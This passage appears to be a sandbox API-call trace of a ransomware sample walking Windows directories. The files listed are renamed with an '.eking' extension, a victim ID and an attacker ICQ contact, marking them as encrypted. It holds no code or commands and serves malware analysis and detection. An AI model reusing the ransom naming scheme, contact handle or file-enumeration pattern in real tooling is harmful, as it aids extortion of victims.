dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.527] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0212.527] GetProcessHeap () returned 0xc10000 [0212.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.527] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.527] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc406450f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc406450f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.527] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc408919a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc408919a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc40fb8a4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.527] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.528] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fb8a4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc40fb8a4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc416e502, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.528] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.528] GetProcessHeap () returned 0xc10000 [0212.528] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.529] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0212.529] GetProcessHeap () returned 0xc10000 [0212.529] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.537] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.537] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4121acc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4121acc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.538] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4194234, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc4194234, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc572fa6b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.538] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.538] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc577bbca, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc577bbca, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57c801f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.538] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.539] GetProcessHeap () returned 0xc10000 [0212.539] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.539] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0212.539] GetProcessHeap () returned 0xc10000 [0212.539] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.680] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.680] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5755a46, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5755a46, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc57ee350, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.680] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57c801f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57c801f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.680] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.681] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc57ee350, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc57ee350, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5814523, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.681] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.681] GetProcessHeap () returned 0xc10000 [0212.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.681] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0212.681] GetProcessHeap () returned 0xc10000 [0212.681] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.687] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.687] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5814523, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5814523, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.687] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5b81b85, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.688] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.688] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b81b85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5b81b85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bcede9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.688] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.689] GetProcessHeap () returned 0xc10000 [0212.689] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.689] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0212.689] GetProcessHeap () returned 0xc10000 [0212.689] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.692] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.692] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bc7339, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bc7339, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5bfec24, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.692] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bcede9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5bcede9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c406f9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.692] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.692] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.693] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.694] GetProcessHeap () returned 0xc10000 [0212.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.694] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0212.694] GetProcessHeap () returned 0xc10000 [0212.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.697] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.697] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c406f9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c406f9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5f98f09, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.698] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c8cba0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c8cba0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c8cba0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", 